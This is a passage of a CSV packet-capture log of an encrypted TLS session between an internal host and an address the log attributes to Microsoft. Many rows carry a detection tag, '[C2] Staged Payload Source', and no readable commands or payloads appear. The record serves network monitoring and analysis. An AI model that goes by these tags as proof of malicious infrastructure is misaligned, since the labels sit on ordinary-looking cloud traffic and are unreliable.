\"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'^\\\\xe6\\\\xf4\\\\xcf\\\\xb1\\\\xaat\\\"\"\\\\xc0!\\\\x15\\\\x0e(\\\\xe2\\\\x18\\\\x1b\\\\xfc\\\\xfbU\\\\x07\\\\xd0\\\\xc3\\\\xccv\\\\xc7\\\\xf4cQx\\\\xe5\\\\x897' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:44.293628,33,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223501599 Ack=193541373,bc2411360d0cbc24112907bb08004500002805ba40004006275c84f5e6210a98980b01bbf9dc48ed271f0b8934fd5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'\\...!\n.......H.'...4.P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1466, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10076, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223501599, \"\"ack\"\": 193541373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:44.834528,34,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=1223501599 Ack=193541373,bc2411360d0cbc24112907bb0800450001d305bb4000400625b084f5e6210a98980b01bbf9dc48ed271f0b8934fd5018003f0f800000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07c63c5468fad743c0fc0010dcf803c7f2dd7cb4e75d0bbf9f459f84181e1a11f1394114d25018b92c6ed34e16848623294f36c3249744e73fc446e03e578fcaa9fcf0aa5bff6c007182a4078774307852e70ae1d2f955dd8d80fe67e8ea8e44a5ec5ee78e89c1fe65c5630d44349287fe65aa94b456ec5e4b4621cbe25e28ef3fffcdbb3f99573febf3f7fd5e44897a9edd6bdd8b02167e0a10cdad41aa4b2d48823c5ea7a07624254136c0fd743d5916a7db9a15977640b453f9491a8508afdb1aad3f6ea8ea0fc8ec2b8f02399dd5b1451a9ef9fd863f3c9c584c351c2cc2c8ab3f534c2848a7fade5abb89dd44dc6b94b842807a3644c812c67fb07353e50676f3aabf21b3a54ca170b342e316dfc3a14030300010116030300280000000000000000459fe633eeb6367e2b1ac17f8017b35a624f70fbc7d755b1c637998c5039efff17030300400000000000000001c226d60f2241aed87e0f5f444116e2c7345c2202b0fa39f1bfe8059af02883a760024322bd4ff960b576b3b11897410b30cb543eafd39e01,E..3..6~+......ZbOp...U..7..P9..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 1467, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 9648, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223501599, \"\"ack\"\": 193541373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3968, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|c\\\\xc5F\\\\x8f\\\\xadt<\\\\x0f\\\\xc0\\\\x01\\\\r\\\\xcf\\\\x80<\\\\x7f-\\\\xd7\\\\xcbNu\\\\xd0\\\\xbb\\\\xf9\\\\xf4Y\\\\xf8A\\\\x81\\\\xe1\\\\xa1\\\\x1f\\\\x13\\\\x94\\\\x11M%\\\\x01\\\\x8b\\\\x92\\\\xc6\\\\xed4\\\\xe1hHb2\\\\x94\\\\xf3l2ItNs\\\\xfcDn\\\\x03\\\\xe5x\\\\xfc\\\\xaa\\\\x9f\\\\xcf\\\\n\\\\xa5\\\\xbf\\\\xf6\\\\xc0\\\\x07\\\\x18*@xwC\\\\x07\\\\x85.p\\\\xae\\\\x1d/\\\\x95]\\\\xd8\\\\xd8\\\\x0f\\\\xe6~\\\\x8e\\\\xa8\\\\xe4J^\\\\xc5\\\\xeex\\\\xe8\\\\x9c\\\\x1f\\\\xe6\\\\\\\\V0\\\\xd4CI(\\\\x7f\\\\xe6Z\\\\xa9KEn\\\\xc5\\\\xe4\\\\xb4b\\\\x1c\\\\xbe%\\\\xe2\\\\x8e\\\\xf3\\\\xff\\\\xfc\\\\xdb\\\\xb3\\\\xf9\\\\x95s\\\\xfe\\\\xbf?\\\\x7f\\\\xd5\\\\xe4H\\\\x97\\\\xa9\\\\xed\\\\xd6\\\\xbd\\\\xd8\\\\xb0!g\\\\xe0\\\\xa1\\\\x0c\\\\xda\\\\xd4\\\\x1a\\\\xa4\\\\xb2\\\\xd4\\\\x88#\\\\xc5\\\\xeaz\\\\x07bBT\\\\x13l\\\\x0f\\\\xd7C\\\\xd5\\\\x91j}\\\\xb9\\\\xa1Ywd\\\\x0bE?\\\\x94\\\\x91\\\\xa8P\\\\x8a\\\\xfd\\\\xb1\\\\xaa\\\\xd3\\\\xf6\\\\xea\\\\x8e\\\\xa0\\\\xfc\\\\x8e\\\\xc2\\\\xb8\\\\xf0#\\\\x99\\\\xdd[\\\\x14Q\\\\xa9\\\\xef\\\\x9f\\\\xd8c\\\\xf3\\\\xc9\\\\xc5\\\\x84\\\\xc3Q\\\\xc2\\\\xcc,\\\\x8a\\\\xb3\\\\xf54\\\\xc2\\\\x84\\\\x8a\\\\x7f\\\\xad\\\\xe5\\\\xab\\\\xb8\\\\x9d\\\\xd4M\\\\xc6\\\\xb9K\\\\x84(\\\\x07\\\\xa3dL\\\\x81,g\\\\xfb\\\\x075>Pgo:\\\\xab\\\\xf2\\\\x1b:T\\\\xca\\\\x17\\\\x0b4.1m\\\\xfc:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'E\\\\x9f\\\\xe63\\\\xee\\\\xb66~+\\\\x1a\\\\xc1\\\\x7f\\\\x80\\\\x17\\\\xb3ZbOp\\\\xfb\\\\xc7\\\\xd7U\\\\xb1\\\\xc67\\\\x99\\\\x8cP9\\\\xef\\\\xff' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xc2&\\\\xd6\\\\x0f\\\"\"A\\\\xae\\\\xd8~\\\\x0f_DA\\\\x16\\\\xe2\\\\xc74\\\\\\\\\\\"\"\\\\x02\\\\xb0\\\\xfa9\\\\xf1\\\\xbf\\\\xe8\\\\x05\\\\x9a\\\\xf0(\\\\x83\\\\xa7`\\\\x02C\\\"\"\\\\xbdO\\\\xf9`\\\\xb5v\\\\xb3\\\\xb1\\\\x18\\\\x97A\\\\x0b0\\\\xcbT>\\\\xaf\\\\xd3\\\\x9e\\\\x01' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:44.834763,35,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541373 Ack=1223502026,bc24112907bbbc2411360d0c0800450000288ef9400080065e1c0a98980b84f5e621f9dc01bb0b8934fd48ed28ca501003fdf0470000,\".$.)...$.6\n...E..(..@...^.\n......!......4.H.(.P....G..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36601, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24092, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541373, \"\"ack\"\": 1223502026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 61511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:44.838598,36,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541373 Ack=1223502026,bc24112907bbbc2411360d0c08004500007f8efa400080065dc40a98980b84f5e621f9dc01bb0b8934fd48ed28ca501803fd6052000017030300520000000000000001dd440686139113b1692133a810f9eeadf99ae3eeebf4d88ea77cae7654b01d528147a7a60eb7142753d8f2e47431d4dcc76746e23c7ee1cec2f2691a644e37699055c53f80a37948622c,\".$.)...$.6\n...E.....@...].\n......!......4.H.(.P...`R......R.........D......i!3..............|.vT..R.G.....'S...t1...gF.<~....i.dN7i.U.?..yHb,\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 36602, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24004, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541373, \"\"ack\"\": 1223502026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 24658, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xddD\\\\x06\\\\x86\\\\x13\\\\x91\\\\x13\\\\xb1i!3\\\\xa8\\\\x10\\\\xf9\\\\xee\\\\xad\\\\xf9\\\\x9a\\\\xe3\\\\xee\\\\xeb\\\\xf4\\\\xd8\\\\x8e\\\\xa7|\\\\xaevT\\\\xb0\\\\x1dR\\\\x81G\\\\xa7\\\\xa6\\\\x0e\\\\xb7\\\\x14'S\\\\xd8\\\\xf2\\\\xe4t1\\\\xd4\\\\xdc\\\\xc7gF\\\\xe2<~\\\\xe1\\\\xce\\\\xc2\\\\xf2i\\\\x1adN7i\\\\x90U\\\\xc5?\\\\x80\\\\xa3yHb,\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:44.838622,37,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223502026 Ack=193541460,bc2411360d0cbc24112907bb08004500002805bc40004006275a84f5e6210a98980b01bbf9dc48ed28ca0b8935545010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'Z...!\n.......H.(...5TP..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1468, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10074, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223502026, \"\"ack\"\": 193541460, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:44.838684,38,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541460 Ack=1223502026,bc24112907bbbc2411360d0c08004500004e8efb400080065df40a98980b84f5e621f9dc01bb0b89355448ed28ca501803fdb6bd000017030300210000000000000002c1b590896266494d3d5d7ae0161922233978706b11c317e840,\".$.)...$.6\n...E..N..@...].\n......!......5TH.(.P...........!............bfIM=]z...\"\"#9xpk....@\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 36603, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24052, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541460, \"\"ack\"\": 1223502026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 46781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xc1\\\\xb5\\\\x90\\\\x89bfIM=]z\\\\xe0\\\\x16\\\\x19\\\"\"#9xpk\\\\x11\\\\xc3\\\\x17\\\\xe8@' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:44.838688,39,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223502026 Ack=193541498,bc2411360d0cbc24112907bb08004500002805bd40004006275984f5e6210a98980b01bbf9dc48ed28ca0b89357a5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'Y...!\n.......H.(...5zP..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1469, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10073, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223502026, \"\"ack\"\": 193541498, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:44.841284,40,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541498 Ack=1223502026,bc24112907bbbc2411360d0c08004500009a8efc400080065da70a98980b84f5e621f9dc01bb0b89357a48ed28ca501803fdb99e0000170303006d00000000000000037684e34e33e4e36b63dc4b109de3ec15685d0c24c8369dc3bb54004d7f12c0e7ba52d4b93e0ab5c5cad66996f599695bde113a50966ee4c286a9e9ae30efb4a94f18aeed5e35b30b0ea557ab14b3f3de8c45a95e22b14221b3c32f6633f36fda290a28243e,\".$.)...$.6\n...E.....@...].\n......!......5zH.(.P...........m........v..N3..kc.K.....h].$.6...T.M.....R..>\n....i...i[..:P.n......0...O...^5....W......E.^\"\".B!../f3.o.)\n($>\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 154, \"\"id\"\": 36604, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23975, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541498, \"\"ack\"\": 1223502026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 47518, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 109, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03v\\\\x84\\\\xe3N3\\\\xe4\\\\xe3kc\\\\xdcK\\\\x10\\\\x9d\\\\xe3\\\\xec\\\\x15h]\\\\x0c$\\\\xc86\\\\x9d\\\\xc3\\\\xbbT\\\\x00M\\\\x7f\\\\x12\\\\xc0\\\\xe7\\\\xbaR\\\\xd4\\\\xb9>\\\\n\\\\xb5\\\\xc5\\\\xca\\\\xd6i\\\\x96\\\\xf5\\\\x99i[\\\\xde\\\\x11:P\\\\x96n\\\\xe4\\\\xc2\\\\x86\\\\xa9\\\\xe9\\\\xae0\\\\xef\\\\xb4\\\\xa9O\\\\x18\\\\xae\\\\xed^5\\\\xb3\\\\x0b\\\\x0e\\\\xa5W\\\\xab\\\\x14\\\\xb3\\\\xf3\\\\xde\\\\x8cE\\\\xa9^\\\"\"\\\\xb1B!\\\\xb3\\\\xc3/f3\\\\xf3o\\\\xda)\\\\n($>' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:44.841306,41,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223502026 Ack=193541612,bc2411360d0cbc24112907bb08004500002805be40004006275884f5e6210a98980b01bbf9dc48ed28ca0b8935ec5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'X...!\n.......H.(...5.P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1470, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10072, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223502026, \"\"ack\"\": 193541612, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:45.669157,42,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=1223502026 Ack=193541612,bc2411360d0cbc24112907bb08004500045305bf40004006232c84f5e6210a98980b01bbf9dc48ed28ca0b8935ec5018003f1200000017030300210000000000000002d1dc0d5b22347ae2ae851fe4a11237ab2e5865cc85cf4a067917030303060000000000000003360fca084c87061c89c1c8763e006297382dd9f9c321b200971ec6b8fb325174e1bdda0299150cb5447c756890278474773d5026d962e526fec065c8ccf3ecc8939621a469c533b3de1c9d248e9c4057bd336a7f527064cf3320bde854da27bb4b0e7ee68f9b5dfa66aa5632b1c44b7a0e58ac7156da11825c7a70a14d99c73a4388d916dbae3552a927f0cab9e32f215940b2aef926f0904020b6440e89da4c41254e2359fda7a8440c41c869a7850b8cec8e71f0168bd29c80d2edde1791f5f69aae7e9e65e30498b6c7cb7599ebf4ea24a872b0ca26f48bd81c9f5d728cff40c1b8bb760ca251428c33f4a7e0c36695ee025106eaaa547a37fac3b6e51104fb0cb8885238a4f14009002da61ca8800a8f0b149c966a83e0a467b9b700aae1bee33b3fcdba79fa1eac63bd3a0c4be961d60557d73214a13be8bc22f1592a6292ad7391206925bebc428941bc6820c3275f31e63808a658b803d655483a5e56848d9da3b03d0320bc7ff13e064db5f3acf449ee7e689a931332b698e256c5d8ffd05ddbcb996d0876da12cb95b969596796741c50bd536b0feaaa0887ffd6c8a3e0baed2e89e7cd9eb09dbf07446a0c2e2ef7b98f37212882bc0da378428f3eeed9125cf976e50ad7bb41bc40a08d0bd8071f66cc12811051095bdb60545c9a5ec232c9664e539f63c33fe9a1365c5ee825557fae160c1ddb0ba5a76593aa048b379b457ac6269e50d0640bd133fca99f0acdfad05e795d6dce7aaece437e1d775cd9185533c83d52e085309790ddbfc20739123236c4ea9472f0ce506e899bd5535160942cd53a6cad538090727c1dc41f81e28ee6b8ff4050621e01b6b06b91d7ab63e44b4278043c4d1bfa214d018b77cecc7d03195923088163e65d728f98abe642bc08f743b189c6584b79ebf050772a81e34f05f64e161af0f7912d41f30cfb8da7227b84f7ad1c091ca7debb9363d70d83841baf5c6ac0b65f862e98085d757b7a868a3da6a1caa0946c04d3766aeb5f4082931f8cf39d727e541fb4d48c0151dc95d8351f337ac1d2e062f3c2863775fa2ca2c3193f6d1bd17917030300cf00000000000000040d9f8544229ada3ef4f19dd3d855855f50e19e336c98167ce053ead80bf3c94a6510aeb10dc8fbfbec2bde19900d5058062c8e87fd7cb966e977ab3d4811b4f7c88f164dcf7f92077766cdd7aa4ca9815b1c940436ab99d09bdedf59d7c5df0c563fd93e89bdf5e633081478c0089f5843d836298d09aaef94985b3f88ee04ef7125f5c554ebfbcad2eb1d1677de5443e713ed7e08e09be941e25b487b00bf79492a4f4108bcf5eb738fd761a9df5614860094e5543a7d794ceee75d53b7ea83861d68d904849017030300210000000000000005df88d13a7362d27da0f55dc39e5ebd3fbbcd25f991e14acb07,\".$.6\n..$.)....E..S..@.@.#,...!\n.......H.(...5.P..?........!..........\n[\"\"4z.......7..Xe...J.y.............6...L......v>.b.8-...!.......2Qt